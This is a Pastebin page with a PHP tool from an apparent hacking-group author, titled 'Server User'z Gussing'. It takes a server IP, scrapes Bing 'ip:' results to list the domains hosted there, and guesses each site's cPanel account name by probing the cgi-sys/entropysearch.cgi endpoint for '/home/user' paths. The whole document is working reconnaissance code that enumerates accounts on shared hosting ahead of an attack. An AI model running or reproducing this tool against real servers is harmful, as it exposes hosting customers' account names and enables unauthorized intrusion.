Advertisement
Inconnu-Dz

Server User'z Gussing

May 7th, 2016
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.93 KB | None | 0 0
  1. <!--
  2.  
  3. Title.......: [ Server User'z Gussing ]
  4. coded By.......: [ Inconnu Dz ]
  5. Fb........: [ https://www.facebook.com/ghost.attack.dz ]
  6.  
  7. -->
  8. <html>
  9. <head>
  10. <meta http-equiv="Content-Language" content="fr">
  11. <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  12. <title>#~Server User'z Gussing</title>
  13. <style>
  14. body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
  15. A:link {text-decoration: none;color: red;}
  16. A:active {text-decoration: none;color: red;}
  17. A:visited {text-decoration: none;color: red;}
  18. A:hover {text-decoration: underline; color: red;}
  19. #x{ font-size:15px; }
  20. input,table,td,tr,#gg{border-style:solid;text-decoration:bold;}
  21. input:hover,tr:hover,td:hover{background-color: #FFFFCC; color:green;}
  22. </style>
  23. </head>
  24.  
  25. <body>
  26. <center><br><br><br>
  27. <p id=x>#~Server User'z Gussing</p>
  28. <form action="" method="GET">
  29. IP : <input type='text' name='ip'>
  30. <input type='submit' value='ScaN'>
  31.  
  32. </form>
  33. <?php
  34.  
  35. @set_time_limit(0);
  36. @error_reporting(E_ALL | E_NOTICE);
  37.  
  38. /******** nEw **************/
  39. $result=array();
  40.  
  41. function get_user($site){
  42.  
  43. $t=cc($site);
  44.  
  45. $s=strlen($t);
  46.  
  47. for($i=0;$i<=$s;$i++){ $userz[]=substr($t,0,$i); }
  48.  
  49. foreach($userz as $v=>$user){
  50.  
  51. $z=@file_get_contents($site."cgi-sys/entropysearch.cgi?user=$user");
  52.  
  53. if(eregi("/home/$user",$z)){
  54.  
  55. return "<tr><td>$site</td><td>$user</td></tr>";//break;
  56.  
  57. }
  58.  
  59. }
  60.  
  61. }
  62.  
  63.  
  64. function cc($uu){
  65. $x=array("www.",".","-","http://");
  66. foreach($x as $xx){ $uu = str_replace($xx,"",$uu); }
  67. return $uu;
  68. }
  69.  
  70. function clean_url($x){
  71.  
  72. $z=parse_url($x);
  73.  
  74. $x=$z['host']."";
  75.  
  76. return $x;
  77.  
  78. }
  79.  
  80. $npages = 50000;
  81.  
  82. $npage = 1;
  83.  
  84. $allLinks = array();
  85.  
  86. if(isset($_GET['ip'])){
  87.  
  88.   $ip=trim($_GET['ip']);
  89.        
  90.   //if(!@file_get_contents("http://".$ip.":2082/")){ echo "[~] Server Don't have Cpanel .. :("; return false; }
  91.  
  92.   while($npage <= $npages)
  93.   {
  94.  
  95.   $x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '&first=' . $npage);
  96.  
  97.  
  98.     if ($x)
  99.     {
  100.         preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $x, $findlink);
  101.        
  102.         foreach ($findlink[1] as $fl)
  103.        
  104.         $allLinks[]=clean_url($fl);
  105.        
  106.        
  107.         $npage = $npage + 10;
  108.        
  109.         if (preg_match('(first=' . $npage . '&amp)siU', $x, $linksuiv) == 0)
  110.             break;             
  111.     }
  112.    
  113.     else
  114.         break;
  115.   }
  116.  
  117. $allDmns = array();
  118.  
  119.  
  120.     foreach ($allLinks as $kk => $vv){
  121.    
  122.     $allDmns[] = "http://".$vv."/";
  123.    
  124.     }
  125.    
  126.     $allDmns = array_unique($allDmns);
  127.     $num_s = count($allDmns);
  128.    
  129.  
  130. echo"<p>Server Content a [ ".$num_s." ] Site</p>";
  131.  
  132.  
  133. echo"<table border=1 width=50%>
  134. <tr><td>Domain</td><td>user</td></tr>";
  135.  
  136. foreach($allDmns as $link){
  137.  
  138. echo get_user($link);
  139. $y = (get_user($link)) ? $all[]=get_user($link):"";
  140. }
  141. echo"</table>";
  142.  
  143.  
  144. echo"<p>".count($all)." user founded from ".$num_s."</p>";
  145.  
  146. }
  147. ?>
  148. </body>
  149. <br><p align="center">
  150. Coded By <a href='https://www.facebook.com/ghost.attack.dz'>Inconnu Dz</a>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement